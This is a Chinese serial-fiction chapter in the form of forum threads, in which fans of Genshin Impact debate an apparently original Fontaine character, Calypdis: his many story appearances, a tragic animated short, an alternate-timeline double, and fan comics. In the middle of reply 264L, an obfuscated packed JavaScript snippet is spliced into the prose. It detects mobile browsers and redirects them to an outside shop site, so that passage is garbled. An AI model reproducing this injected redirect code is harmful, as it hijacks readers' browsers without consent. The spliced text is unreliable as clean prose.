我又来了,水社没人吐槽,我必须好好盘盘。卡吕普迪斯这家伙是在剧情买房了吗?从4.2之后他的出场率就没低过。无论是深渊还是主线亦或是活动。我眼睁睁看着他4.3走进枫丹廷,和福勒依斯逛吃逛吃。4.4海灯节逛璃月沉玉谷,居然还有钟离陪同,嘉明家老祖居然和他有着千丝万缕的联系,沉玉谷的鲛人祠太抢眼了。4.5炼金活动居然!也有!他!活动是文案出场,说是订购宁神的药剂……千织传说任务帮忙查封工厂。4.6荒泷派在海祇岛搞什么摇滚,说是给孩子们送祝福,这鱼又在活动末尾千里迢迢送来赞助资金刷存在感。大世界新出的任务也有他。老子真是服了!服了!哪里都有他! 2L 楼主很讨厌卡吕普迪斯吗?怨念好深重啊…… 3L 不过说真的,我很少见到这样刷出场方式的角色了 4L 站里有人做了角色剧情出场时间统计,卡吕普迪斯这个枫丹版本出场的角色,居然能冲到前十?而且这还没算他大世界任务的出场次数,算是少有的大世界出场角色。 5L 好了马哈鱼,知道你主推他了,别太爱 6L 新人4.5入坑。嘉明怎么就和卡吕普迪斯有关系呀?新手池抽到了嘉明,有点好奇。 7L 有小萌新!抓住一口吃掉! 8L 萌新,嘿嘿嘿萌新~ 9L 边台走开,萌新来看。4.4是海灯节活动,限时活动剧情主推嘉明这个新角色,咱们在沉玉谷和嘉明老爹对话,能知道他们家姓叶,做瓷器和茶叶生意。沉玉谷的鲛人祠就是他们家一直供奉,说鲛人救过他们家先祖两次。叶家是沉玉谷数一数二的大家族,嘉明说长辈和同乡们远航前都会到鲛人祠上香,大概类似咱们沿海地区人民的信仰?(如有冒犯请轻喷)而鲛人……嗯,遗珑埠那边的公告板上有月海亭的公告,说鲛人是隔壁枫丹的大守护者,归属枫丹,只是来璃月旅游,父老乡亲不要执意上书跟枫丹打官司了……实锤就是卡吕普迪斯这鱼乱窜。 10L 接上楼。 嘉明想去舞狮走镖,这和叶家祖业完全不一样,叶老爹就很不赞同。后来钟离留云一众仙人劝解,叶老爹才勉为其难松口去璃月港看儿子表演。璃月港那边海上灯火表演,给了卡吕普迪斯一个过场动画特写,他和福勒依斯站在高处啃包子。太搞笑了,他和福勒依斯站在一起满脑子都是吃吃吃。 虽然没有卡吕普迪斯和嘉明等人的正面交流,但是其他人的反应都说明卡吕普迪斯和叶家老祖宗的关系。这家伙从老久以前开始就喜欢到处乱窜,当海洋街溜子,在剧情里刷存在感也不是不能接受…… 11L 原来是这样吗?我悟了!非常感谢解答! 13L 卡吕普迪斯和沉玉谷的联系挺深,千年前就会把迷航在他国的船和遗骸推回故国,莫名其妙在沉玉谷就有了一批信仰者。后来在枫丹海救了船只超载差点侧翻的叶家老祖宗,帮人打捞货物,送人回家的资金,那会还是免费帮忙,纯自愿。几百年前又捞了叶家一把,一直被记到现在。他自己倒是没什么印象了 14L 哇塞你们都是从哪看到的,我翻了角色故事语音啥的都没有啊 15L 大世界文本,逛地图的时候留意了一下 16L 卡吕普迪斯的朋友福勒依斯不是在沉玉谷定居嘛,和沉玉谷仙家认识,那些仙家基本都对鱼有自己的供奉祠堂表示纵容 17L 沉玉谷父老乡亲上书要求和枫丹打官司是怎么个事? 18L 那个啊,说是因为卡吕普迪斯时不时就来沉玉谷玩,大概玩了几百年,导致沉玉谷人民一直以为鲛人和人鱼是两个物种,卡吕普迪斯在璃月的化名是静源。然后枫丹廷前些年拍了个宣传电影,说人鱼是枫丹特有物种,提瓦特仅此一条,还有个静原的特写。沉玉谷人一看这不得了啊,这是我们的鲛人啊,就很不服气,觉得枫丹虚假宣传,而且鲛人明明就是璃月的,然后上诉要求官方去交涉。月海亭接到这个案子哭笑不得,最后发了通告声明鲛人就是来璃月旅游的人鱼,人家是枫丹国籍,不要搞出这种不利于两国友好的乌龙啦。 最后沉玉谷地区还是气哼哼的接受了……妈呀,别太受欢迎了鱼。 19L 卡吕普迪斯的好人缘别太离谱,在枫丹受尊敬就算了,璃月那边的国民好感度这么高真的合适吗? 20L 对于以前科技不发达,海上行船全靠经验和老天爷赏脸的人类来说,有个守护者默默注视且庇护是很有安全感的事吧。而且卡吕普迪斯似乎对让人类回到故土有一种很深的执念,和璃月信奉的“叶落归根”理念相符,勤劳、踏实、强大、温和,很符合璃月人的审美。璃月官方对他也是一路绿灯,真的,我说马哈鱼你别太爱他了。 21L 妈呀,被吓晕 22L 人格魅力吧,他不是性格讨喜,他是属于那种,看着就很踏实,很有安全感,天塌下来有他在上面顶着的那种感觉。沿海地区人民对于海洋有一种天然的畏惧心理,璃月那边以前有奥赛尔捣乱,结果西边出了个人鱼默默踏实干活,还是义务劳动,人家在沉玉谷消费都是用摩拉——没有对比没有伤害,难怪讨喜…… 23L 这个角度很新奇啊,话说卡吕普迪斯也是深海的大漩涡海怪,权能也是漩涡那一挂,跟奥赛尔一样。结果奥赛尔捣乱搞侵略,卡吕普迪斯从枫丹忙到璃月两头乱窜护航完全自愿,璃月仙家不可能没发现,最大可能就是一开始警惕,观察后发现这鱼确实不求回报,作为非人类在人类社会购物出奇的守规矩,从来没有伤人记录,大大的良民。可能想招安,结果发现人家国籍在隔壁,无奈惋惜。严格来说卡吕普迪斯也是海鲜的一员吧,毕竟是条海鱼(?),然后钟离这家伙居然意外的友善,还主动提出带他游览璃月港。 来自老爷子对勤劳后辈的赞许:嗯,踏实孩子。 24L 妈呀好可爱的联想! 25L 钟离讨厌海鲜,但是不讨厌卡吕普迪斯,这是为什么呢?生理性厌恶总是难免的吧? 26L 回楼上,因为卡吕普迪斯会喷香水。千织说鱼其实挺注意形象的,也会买香水,是很好闻的海盐系列。再加上卡吕普迪斯本人也不喜欢海鲜,可能没什么鱼腥味? 27L 我靠,海盐味的香水?真的不是在自己腌自己吗?派蒙流口水.jpg 28L 我靠,本来前面都没笑,看到你这个我直接爆笑出声哈哈哈哈哈哈哈哈哈 29L 他真的越扒越搞笑,我还蛮希望他多些出场机会的 30L楼主 吃了个早饭回来,你们都聊这么多了?回复前面的,我不讨厌卡吕普迪斯,只是第一次up没抽到他,武器池还歪了他生命主词条的魔法棒,怨念深重,很长一段时间都不想看到他这个负心汉而已。闭眼.jpg 31L 妈呀,心疼楼主,摸摸 32L 没事,我也非,大保底170+才抽到一只。魔法棒你可以给钟离呀,瑶瑶或者米卡之类的都能用 33L楼主 4.0的钟离也歪了,没有瑶瑶,也没有米卡……其他能用的不合适,我也没拉,丢仓库当仓管了。 34L 从楼主的回答里察觉到了一股生无可恋的浓郁怨念……?你还好吗楼主? 35L 马哈鱼你什么时候能不歪,老子真的是服气了 36L 想起我三个648结果莱欧斯利1+1的人间惨剧了…… 37L楼主 还行。附图.jpg,正在跑任务肝地图,等卡吕普迪斯下次复刻拿下,已经攒了六十抽了 38L 卡吕普迪斯这个机制真的太香了,减抗减得我想流泪,还是水元素反应专拐,剧变反应也算在里面,谁懂,流泪.jpg太踏马良心了,上一个五星元素专拐还在等待复刻,我不说是谁 39L 是谁啊,好难猜。目移.jpg 40L 卡吕普迪斯复刻应该快了吧?应该……? …… 92L楼主 马哈鱼你到底要干什么,4.7这踏马是睡前故事吗?啊?!!你给卡吕普迪斯出动画短片是什么意思?那个倒在血泊里的是我们家那维莱特吗?天杀的,我们家水龙看完后回来一直哭,哄都哄不好,一直要他家鱼回来。天杀的,老子要报警抓你!! 93L 水社都炸了,抖和站里全是各种阴间猜测,这踏马是阳间剧情?卡吕普迪斯的能力居然是预知未来?枫丹覆灭马哈鱼是真敢做啊我靠! 还老子鱼来!!!啊啊啊啊啊啊啊啊啊啊啊啊!!!! 94L 疯了,都疯了。以前发刀都是发过去的,现在好了,直接整了个未来的大刀。米马哈鱼你到底要干什么? 95L 只有我的关注点放在哭哭的鱼身上吗?他流的不是珍珠,是红色的血唉。 96L 可能是预知的代价? 97L 麻蛋,老子一整个枫丹版本都在赛博哭坟。前有芙芙后有鱼鱼,那维莱特要是死了我不会放过你的马哈鱼!!! 98L 要死,真的要死,我真的很害怕那个恐怖的未来。不是说好了没上天空岛前没有卡池角色死的呢?!!! 99L 《没上天空岛前》,画重点 100L 靠!!! …… 156L 这个动画《未果之梦》,不仅有目前4.7主线的睡前故事,有命运的织机,还有疑似那维莱特死亡的片段,枫丹海变为血红,深渊入侵,大地满目疮痍。里面有些文本描述也信息量极大,他乡的传说里,命运的三女神各司其职,纺织、丈量、裁剪。巧合的是,提瓦特也有三女神,深渊教团更是有命运织机计划,要重新纺织被高天安排好的命运……会不会是深渊教团计划成功,但是深渊失控涌出地表然后泛滥成灾了? 157L 有可能。前瞻说4.7版本会有卡吕普迪斯的传说任务二——这也太快了,完全打破了传说任务带上up或者复刻的规定。传二馋哭了某个蒙德神明。 158L 卡吕普迪斯排面真的大,不过真的太快了,马哈鱼你急什么? 159L 现在打卡池安排越来越搞不懂了,按理说应该有传说任务就有复刻,但是这次意外的没有。 160L 传说任务都是跟角色人生重大转折点有关吧……? 161L 谁知道呢,等下半卡池,他传二就端上来了。要真死人了马哈鱼我提刀就去总部杀你!!! …… 249L 马哈鱼!!马哈鱼!!你在搞什么飞机!!!为什么!!又有一个卡吕普迪斯!!还要殴打爷!!! 250L 妈呀,炸锅了。 251L [卡吕普迪斯]披头散发,鱼鱼扎着高马尾。两个人的神态表情完全不一样。前者有种说不出的疲惫和倦怠,疯疯癫癫的,出场就是满满的敌意,要带走爷的派蒙。笑话,虽然你一直很喜欢派蒙,但是不要小瞧我们之间的羁绊啊!后来更是把爷摁在水里锤——不是你拿这个魔法棒挥舞啥呢?会水牢了不起啊! 鱼出场的时候表情呆滞,但是很快就被爷和派蒙的告状整得怒火滔天,护崽气势超级足。本来我还生气爷挨揍,不过是另一个鱼的话,勉强不迁怒了。 252L 这个[卡吕普迪斯]像得了失心疯一样,逮谁咬谁,除了派蒙。他是真喜欢派蒙,发疯了都记得保护派蒙。 253L [卡吕普迪斯]从另一条世界线来,那边的世界已经沦陷了,旅行者用自己的力量守住最后一块净土,然后陷入沉睡。派蒙被欺骗跑了出来,他是为了带走派蒙才误入这个世界的……我怎么这么不信呢? 254L 没做完任务吧?后面确实是在暗示是假话,或者半真半假。这个[卡吕普迪斯]的话不能完全信也不能完全不信。沧桑.jpg 255L 与其说是另一条世界线,不如说是更符合提瓦特现状的轮回?提瓦特本身就和轮回挂钩,各个任务都有轮回这个理念。小到鹤观,大到花神诞祭,枫丹旧日之海的故事更是有前代轮回遗民,先知西比尔的存在。鱼的预知能力是从坎瑞亚灾变时刻开始拥有的,这次4.7魔神任务戴因跟我们说过坎瑞亚的五大罪人里,就有【预言家】维瑟弗尼尔,或许我们可以合理猜测,罪人们得到的力量中就包含预知? 【卡吕普迪斯】可能是上个轮回正在生活的存在,跨越空间与时间来到了鱼的面前,就是为了告诉他未来的灾变,要他保护好那维莱特保护好福勒依斯保护好家人同伴,要取走他的一条命,从此他将【不死】……谁懂?这是多么可怕的概念。 之前鱼的传一就有人愤愤不平,说马哈鱼为了发刀子真是无所不用其极尽,上演活生生的剖鱼现场,问为什么鱼变成人要这么痛苦,隔壁璃月仙家变人就没这样,这很不公平……本来我之前也很疑惑为什么要这样安排,源海赐福为什么会这样痛苦,那维莱特和旅行者语音文本都明确表述那更像是一种“酷刑”,就像童话中的小美人鱼,拥有双腿上岸后,每走一步都像在刀尖起舞。但小美人鱼是为了获得王子的爱,获得永恒不朽的灵魂,鱼是为了获得什么呢?现在我知道了,他本身是要获得力量。但他的母亲原始胎海知晓了他的命运,赠他痛苦,赠他死亡与新生。母亲无法在命运的车轮下保护她的孩子,只能用更极端的办法让他避开更加惨烈的未来。所以鱼拥有两种自如转化的形体,他拥有的第二条命就是为了今日迎接另一个自己。 一个世界是不能同时存在两个一模一样的灵魂的,可是他拥有两具躯体。鱼占用了一具,[卡吕普迪斯]占用另一具。然后[卡吕普迪斯]在这个世界死去,也就是离开后。留下来的鱼就会被【死亡】拒绝,因为一个生命是无法【死亡】第二次的,这是世界亘古不变的法则。太作弊了,隔壁璃月仙家能有第二条命吗?能永远[不死]吗?注意是[不死],而非[长生]。 传二的精妙之处就在于,鱼得到了另一个自己最珍贵的情报,拥有了不死的能力。这就够了。 256L 妈呀…… 257L 我跟你们这些会分析的家伙拼了,这样显得我很像个智障啊 258L 围观大佬。马哈鱼游戏最隐晦也最著名的一点就是他丰富的世界观隐藏在文本的各个角落,很多早期版本就有对未来各种故事的隐喻,基本上整条世界线故事,整个游戏框架是早就定好了的。所以我看网上传的那些游戏剧情被改很想笑,被马哈鱼剧情打脸的次数还少了吗?他只是目前的版本没有展示在台前而已,后续一定会圆回来。另外吃书这个词也不用反复提了,人家按照早就设定好的框架构写有什么问题?为黑而黑别太搞笑了 259L 你的观点我很赞同,但这是论坛,当心被冲。马哈鱼的商业黑子和无脑黑子太多了 260L 守护 261L 我不怕,玩个游戏有啥可怕的,老子又没杀人放火对不起社会。马哈鱼最吸引我的一点就是他的故事。只要故事讲得好,我愿意一直追连载支持他。都说他在退步,但实话实说,只是没有一开始玩这个游戏的惊艳。熬过“七年之痒”,熬过倦怠期,你会发现他一直没变过(至少对我来说他讲故事,做地图的能力从没变过)稳扎稳打何尝不是一种实力? 262L 你对这个游戏真的爱得很深。 263L 我喜欢他的故事,我希望他能一直写下去,我相信他不会烂尾。鱼的故事我也很喜欢,期待后续。 264L 唔,这样说的话,我也来夸夸最新的动画pv了,美术风格突破?应该可以这么说吧。马哈鱼最出名的就是他的美工和快递盒,玩家公认的业界优秀。每次动画pv的精致程度真的让人眼前一亮又一亮。如果说前面的兄弟是因为他的讲故事能力留下来,那我是因为他的美术和大世界。这次鱼(就这么称呼他吧)的动画《未果之梦》从配乐到画面表现能力都属于强势炫技之作,浓厚的压抑感溢出屏幕,我给不玩原的室友看,她都表示“喘不过气”,“这个人很痛苦吗?”“感觉他要黑化了,但没完全黑化”重点在后一句。快黑化和没完全黑化中间这个尺度是很难把握的,毕竟每个人的理解程度都不一样。黑化能表达,没黑化也能表达,中间这个拉扯感就属于镜头语言的修炼程度高低了。而如果能让一个圈外人都能感受到这股拉扯感,就恰恰说明马哈鱼成功了。 因为鱼预知片段中的[卡吕普迪斯]就是这样的痛苦。家人同伴的离去让他失去活下来的欲望,但好友的以命换命和王上的遗言又让他不得不吊着一口气。一口不能咽下去、不得释怀、不得发泄的怨愤。深渊和反主让世界在毁灭边缘摇摇欲坠,旅行者用自己稳固了世界最后的净土。他对鱼世界的旅行者,也就是他世界的反主的敌意很明显,憎恨又厌恶,迁怒了,所以按着爷打,还想咬死爷。但是没迁怒太多,不然爷早死了(这个时候不要跟我扯什么黄毛战力,[卡吕普迪斯]在那个轮回线里已经是世界顶尖霸主战力了,在海洋主场败给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14404461|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不丢人,鱼拥有高贵的免伤)。他要是黑化了就轻松了,可以毫无心理负担的展开屠杀。他要是没有黑化倾向,还可以满怀信心与希望,去期盼鱼这次轮回可以改变命运。但他偏偏处于中间那个状态,半死不活,所以痛苦,所以沉重,所以压抑。 265L 接上楼。 《未果之梦》和传二动画pv《苦行者》分别代表了马哈鱼经典的两种主流画风,前者是经典的国产动漫画风,后者是标志性马哈鱼浓墨重笔的描绘。《苦行者》这个名副其实,以[卡吕普迪斯]的自述为主,第一人称视角讲述过去。他的声音和pv里的表情形成鲜明对比,国产配音很好的表达出了那种半死不活看破尘缘的感觉,平静的诉说着苦难。[那维莱特]死亡画面是极致的黑暗底色,空白笔触描线,勾勒出手的形状。手抓住了鲜红跳动的心脏,心脏融化成水,水中心是蜷缩着的,小小的纯水精灵福勒依斯,然后收束,鲜红的血水重新凝聚成一颗心脏。背景音乐也从激烈的心跳鼓动变得平缓,直到悄无声息。从心悸到心死,从澎湃到寂静,不过须臾。最后那句“我的那维莱特不会再回来了”,直接引爆我积累的情绪。 日配的表现力,或者说张力更强一些?虽然我更喜欢国语配音。但日配最后那句话是带着哭腔的,破碎感拉满。就像离家很久,受尽了委屈的小孩乘坐时光机回到过去,见到了自己还在世的亲人。其实很想很想要一个拥抱,但是理智告诉自己不可以。如果这次接受拥抱了,回去后的戒断反应要怎么办?他要如何熬过下一个崩溃点?他还不能倒下,因为他是枫丹的大守护者。只要他不死,枫丹就不会亡国。 不怪这次赛博哭坟多,“我的那维莱特不会再回来了“和“水龙水龙别哭了”并列杀死那维莱特两大诛心话语。两大新鲜出炉的赛博刀子。 266L 我的天哪,文字的感染力真的……太压抑太痛苦了。号啕大哭.jpg 267L 从站回来了,动画下面的评论区全是嚎丧,长篇解读相当多,都是憋着眼泪写的吧? 另外我还看到了一个观点。说《苦行者》pv里那个一闪而过的巨鲸不是指代他养的鲸群,而是指复活的厄里那斯。有美露莘死亡的动画片段,他们说是厄里那斯复活,导致枫丹人仇视从厄里那斯骨血中诞生的美露莘,五百年的融合毁于一旦。怎么说呢,人类这种生物的特性表现得特别好,因为换作谁都会迁怒。而[卡吕普迪斯]从纳塔复活爬回来,看到的就是要守护的人类杀死了他的女儿,王的遗愿是让他守护未被污染的民众,守护枫丹。他连给女儿们报仇都做不到。 268L 密码的有完没完,还要多惨?知道卡吕普迪斯多喜欢美露莘吗?那和他的女儿没有任何区别,换作哪个父亲能受得了? 269L 太好了是密码学家,我们有救了。号啕大哭.jpg 270L [卡吕普迪斯]不会死去,他会带着痛苦走到世界轮回的尽头(发完这个刀我就跑) 271L 你给老子站住别怕!你赢了,马哈鱼赢了,我要死了……人至少,至少不能够被反复当砧板…… 272L 你该庆幸这是另一个卡吕普迪斯,至少本世界的鱼活得好好的,还会像小孩一样争宠(前面笑得多高兴,后面就有多绷不住) 孩子,卡吕普迪斯最喜欢孩子。从他过去认识的塔塔秋秋,到派蒙,到如今枫丹的小孩和美露莘,荒泷生命大摇滚这个限时活动剧情就是在隐喻折射现实里对孩子的屠杀。剧情里卡吕普迪斯对远在稻妻的孩子都那样关怀,他是真的,真的很爱孩子。然后你说他的孩子被他要保护的人类杀死了……难怪要黑化,要疯癫,这换谁谁受得住啊…… 273L 至少还有希望不是吗?现在就等纳塔是什么情况了,我的鱼鱼……流泪.jpg 274L 有时候我搞不懂马哈鱼是想捞钱还是不想捞钱,这个时候复刻鱼包流水暴涨的啊,他不是一直担心流水的问题吗?人在情绪激动的时候最容易冲动消费了,过后几个版本可能就没有这样强烈的效果 275L 对啊,为啥?马哈鱼还是不会赚钱,你这个时候卖卡老子心甘情愿氪啊 276L 大概,可能是因为马哈鱼不喜欢用极端的痛苦去虐玩家?以前发刀卖卡,最起码末尾有个昂扬向上的希望,比如钟离传二是若陀龙王理智的释怀,是友人的和解。将军传二得到姐姐的讯息,走出固步自封,改变自我。草神传二的阿佩普也开始期待小草神和旅行者创造出的新的未来,其他角色的传二基本上也都有阳间的一面。会让你感觉角色经历的这些苦难是他们人生中的一部分,熬过苦难后会蜕变,重获新生。总而言之就是有对未来变好的希望。 鱼的传二不一样,他就是极端的痛苦,极端的扭曲,极端的负面。让人感觉生理性不适。只是因为预知了另一个世界另一种糟糕结局的痛苦,让本次世界线无辜的我们背负了痛苦。他传二的结尾是无尽的茫然,没有看得见阳光的地方。可以说是一种表现手法的创新,的确会有人买账,但官方总体来说是处于观望状态,目前正在看玩家的态度。 不过我不保证他这是为未来的磨刀霍霍做准备(目移),毕竟如果接受了这种从未来发刀的手法,哪怕马哈鱼说了上天空岛之前卡池角色不会死亡,但是这种隔着世界线的刀子……不好说啊。 277L 你给老子把嘴闭倒。前面很正经,为什么要加后面一段话?你不说我还能自我欺骗是马哈鱼不会赚钱呜呜呜呜呜呜 278L 啊啊啊啊啊啊啊啊啊啊啊啊,凭什么凭什么凭什么!!! 279L 又疯了一个,拉下去(无慈悲) 280L楼主 窥屏这么久,我也想说自己的想法。 鱼的成长是有一个很明显的发展历程的,他对人类的态度与情感在不同时期也有不同变化。上一个这样有着明显成长经历刻画描写的还是达达利亚,那个永不气馁,永远敢于挑战强敌,拥有不服输精神的达达利亚。除了旅行者以外,达达利亚就是提瓦特最标准的主角。但是达达利亚这个角色的主旋律是昂扬向上的,他的挫折会成为他奋斗的基石。 鱼是不一样的,他完美符合我至今为止看过的所有白变黑类型反派的条件。他有着最明显的软肋,最大的希望就是保护好枫丹和家人,然后吃吃喝喝平平安安度过一生。熟悉吧?很朴实的心愿,就像我们平凡老百姓。可五百年前坎瑞亚灾变让他获得了预知未来的能力,命运的馈赠在暗中标注了价格,他迟早要支付代价。代价是什么?在反复痛苦的折磨下拯救这个世界。 恨比爱长久,痛苦比希望更漫长。鱼是在爱里长大的,爱让灵魂坚韧不拔,往后他遭遇的苦难无法将他轻易催折,家人与人类的爱意为他的灵魂提供充足的养料。可是命运的玩笑不会轻飘飘揭过,他注定反复遭遇折磨,美名其曰“淬炼”。唯有熬过常人不可忍受的苦难,才能提升位格,达到至高的顶点。 即使他不愿意也不稀罕。他完全可以成为超级大反派,去毁灭这个施加痛苦的世界。可是构成他生命最本源的力量不是痛苦,而是爱。所以他像反派,但他严格来说不是反派。 正因为痛苦,所以哪怕他有完整的成长线,官方也不会全部放在主线里。而是通过堪称慷慨豪横的动画来进行表达。毕竟这是个12+游戏,提瓦特是个童话世界。童话一定满怀希望。 另外《未果之梦》这个词让我想到了腐殖之剑的文本描述,杜林那样的生物,他们的灵魂是在漆黑宇宙中徘徊的未果之梦*。莱茵多特将宇宙中纯洁的灵魂安放进深渊力量构成的身体中,因为同为世外之物所以相性很好。卡吕普迪斯的灵魂,也像杜林,像厄里那斯那样来自虚空中吗?是悲哀的未果之梦吗?或者说,他的心愿就像没有结果的一个梦呢?飘忽忽的,就像泡泡一样,轻而易举就破碎了。 281L 楼主泥……好陌生,这还是我认识的那个为鱼剧情刷屏而抓狂的楼主吗? 282L 我的妈呀,未果之梦,苦行者,这两个词一个比一个毒啊。 283L楼主 如果说以前想抽鱼是奔着强度去的,这次纯属是为爱抽卡。我就爱这种扭曲的,极端的痛苦与爱构成的灵魂。 284L 我就希望我喜欢的角色快快乐乐的,平平安安的度过一生,怎么就这么难啊……我就想看他带着孩子高高兴兴的玩,最多看着他们自然老去走入坟墓,等那维莱特退休就周游七国审判,然后找个山清水秀的地方养老…… 为什么要这样这样刀他啊…… 285L 希望下个版本的夏活快乐一点吧,有可莉就好了。刀子我真是吃够了 286L 希望如此吧,唉。 83.番外 现世论坛(四)[番外] 【帖子】外来龙不能进入纳塔,那纳塔为什么会有卡吕普迪斯? 1L楼主 如题,那维莱特不是说纳塔不欢迎外来龙吗?为什么主线里卡吕普迪斯出现在了纳塔啊!!!! 2L 抢占前排,哦耶 3L 不是谁告诉你卡吕普迪斯是龙了?他是鱼啊!一条可爱的鱼! 4L 不是水龙眷属吗?派蒙流口水.jpg 5L楼主 那他密码的怎么被阿乔要求跪拜叩首称臣的时候说“纳塔就没有能用身份压我的龙”?不是卡吕普迪斯什么实力啊? 6L 都说了他是水龙王眷属了,阿乔是火龙王名下的,派系都不同管不到一块,想啥呢你? 7L 孩子爱去就去呗,他现在跟个bug一样,出现在哪里我都不意外了 8L楼主 4.6版本更新的世界任务《谐律上的咏叙诗》里有斯库拉,水龙一脉的亲王。他亲口承认卡吕普迪斯属于庞大龙裔的一员。马哈鱼在游戏里明明白白写的,他是龙裔也是眷属。附图.jpg 我要问的就是他为什么能去纳塔 9L 有啥不能去的?就因为那维莱特之前说纳塔不欢迎外来龙类?那为什么不问问另一条世界线的[卡吕普迪斯]?他可是带着枫丹支援军队去纳塔驰援了(然后全军覆没) 10L 不是为什么这里还能有刀啊?这都过去两个版本了。抓狂.jpg 11L 有关卡吕普迪斯的战力争吵到现在还没结束,反正现在公认的是他是个bug。毕竟有另一个世界线的自己,或者是前代轮回的自己的帮助,知道什么或者学会什么都不一定 12L 你说的帮助是指见面即死敌,撕下人皮变身怪物互相撕咬吗? 13L 就因为那个动画pv显示了鱼的真身,现在他的人外本子也是多了起来(这是可以说的吗?) 14L 不是你们怎么还搞人外啊?派蒙震惊.jpg 15L 我向来对公公这个群体敬而远之(目移),无论是阴暗男鬼还是懵懂小鱼都应该大嬷特嬷好吗?不懂的有难了…… 16L 我向来对嬷嬷这个群体敬而远之,让鱼独美好吗? 17L [卡吕普迪斯]出场跟个阴暗男鬼一样,搞双卡的异军突起,现在在卡吕普迪斯tag榜单热度已经有超过《海鲜一家人》的趋势了 18L 老福鸽上的《海鲜一家人》吗?那个连载小条漫居然也有贴吧友友看吗?我还以为挺小众的 19L 抖和站里转载的人太多了,“海鲜不吃海鲜”太太开放了授权,那个热度真的蛮高的。所以双卡热度也很高(●—●) 20L 《海鲜一家人》算是难得的cb向出圈大火条漫,双卡是圈里最近比较热的cp而已,跟几家美帝没法比啦 21L 虽然阴暗男鬼是很好啦,但是这里是剧情讨论楼,你们是不是歪楼了? 22L 楼主不在 23L楼主 嗯? 24L ………… 25L 楼主窥屏呢哈哈哈哈哈哈哈哈哈哈,本来以为你们能讨论个什么正经东西,结果是讨论同人吗?哈哈哈哈哈哈哈哈哈,打脸来得猝不及防 26L楼主 好了,先把我关心的这个事讨论完再去歪别的。所以到底为什么啊?这对我的逻辑链很不友好!!! 27L 你到底是多纠结啊,我压根不纠结。马哈鱼做什么饭我吃什么饭,自打隔壁帖子的兄弟那一番深情表白马哈鱼后我也学着他信任马哈鱼的剧情处理了,沧桑.jpg 28L 可能是新的暗线吧。还有一种猜测,就是那维莱特说的不欢迎是指王对王的,鱼这种小弟算是出公差当外交官。两国交战还不斩来使呢,不欢迎又没有说一定不能进 29L 那维莱特被拒绝是乖巧回家待着,鱼被拒绝那是生挤硬拽也要把自己弄进去。俩兄弟一个文一个武,完美互补。 30L楼主 这个解释勉强可以,不过…… 31L 没法说服你对吧?毕竟只是猜测 32L 通过主线的聊天回忆可以知道,鱼一开始是在纳塔回声之子地界外站着,就旅行者刚到纳塔站的那块地方。然后和一头嵴峰龙聊天,获得了嵴峰龙的邀请才进入的回声之子部族领地内。就像屋主人不欢迎你,你站在人家门外地毯上等。然后屋主人家幼儿园小朋友放学回来,你和小孩套近乎,小孩把你当朋友邀请你进屋做客。于是你成功进入了屋子,鱼也正式进入了纳塔部族地界。然后他被回声之子首领接纳,进而被火神接纳,等于正式在纳塔大地站稳脚跟——起因只是得到了一只小嵴峰龙的友谊。 33L 还能这么解读吗?我就一直以为卡吕普迪斯又要开始捡小孩了……你要拐孩子?.jpg 34L 谁给仆人做的这个表情包哈哈哈哈哈哈哈哈哈哈哈 35L 最不ooc的一集 35L 这个比喻可以,很形象 36L楼主 OK我接受了。如果这个互动是为了获得纳塔龙类的入界准许,那么大世界应该有文本可以佐证……现在就附魂嵴峰龙去问几个龙npc 你们随意,别搞h就行 37L 等你好消息哟~( ̄▽ ̄~)~放心我们都是正经人哒 38L 好了楼主走了,继续水帖子(无慈悲) 39L 《变如脸》 刚刚切屏搜了一下“海鲜”,大数据直接推送《海鲜一家人》条漫,你敢信? 40L 都说了是大数据了,你爱看啥那不轻轻松松拿捏 41L 这个太太画得超级可爱,是那维莱特和卡吕普迪斯双厨,还记得每一个美露莘的名字和特征、人设、性格……这谁记得住,能跟记住隔壁须弥76个活爹的智慧草太太相提并论 42L 实不相瞒我就是因为海鲜太太的漫画入坑的,然后直到现在都没有鱼。不是为什么卡厨没有卡卡鱼啊? 43L 快了快了,内鬼爆料说纳塔版本鱼会复刻,起码你在5.0就看到他了,虽然是剧情里的 44L 话说鱼这个爱称,海鲜太太也是最早开始喊的那一批。她笔下的鱼居然是个挑食佬,这个私设真的好好玩 45L 她?海鲜太太早起不是透露过他是男生吗? 46L 啊?我以为同人圈女孩子产粮会多一些……果咩那塞! 47L 没事,不是啥大问题。海鲜太太说他已经逐渐接受自己被叫海鲜被当成小姐姐了,话说明明全名是叫“海鲜不吃海鲜”来着,叫不吃海鲜太太才对啊,派蒙思考.jpg 48L 顺口的事 49L 卡吕普迪斯挑食应该不是私设吧,语音里说过他不吃的东西很多。你是不是云? 50L 算了懒得管 51L 他画的枫丹角色都很生动,兽化抓住了精髓。比如那维莱特是长颈龙,卡吕普迪斯是小蓝鱼,芙宁娜是水母,莱欧斯利是鲨鱼,克洛琳德是大天使海兔,娜维娅是球球章鱼。林尼琳妮特是猫猫这个不用说,菲米尼是企鹅。很贴合菲米尼和卡吕普迪斯在海里玩的背景故事,萌得老子要下奶了 52L 夏洛蒂是海马,千织是重甲蟹,夏沃蕾是猎刀鳐,咱就是说,贴合角色了哈 53L 美露莘就是美露莘,不用再拟了,太太在评论区这么回复一本正经又搞笑哈哈哈哈哈哈哈哈哈 54L 太太画的水龙没有太娇,有点像温和的大家长,背景板级别。其他海鲜受委屈都找他处理,尾巴卷着珊瑚手杖敲贝壳哈哈哈哈哈哈,结果给小蓝鱼的贝壳床敲碎了一半哈哈哈哈哈哈哈哈哈,最后把自己急得掉眼泪还要鱼来哄,我真的会笑死 因为那是鱼鱼最喜欢的粉色贝壳床,憋笑.jpg 55L 看得出来太太不是公公也不是嬷嬷,他就是单纯喜欢看龙和鱼掉眼泪而已 56L 感觉太太笔下的龙和鱼对内都笨笨的,对外又都很可靠。有点像两个笨蛋撑起草台板子的感觉 57L 真的吗?你告诉我鱼前脚漩涡送走入侵者,后脚这个阳光开朗微笑是笨蛋鱼?附图.jpg 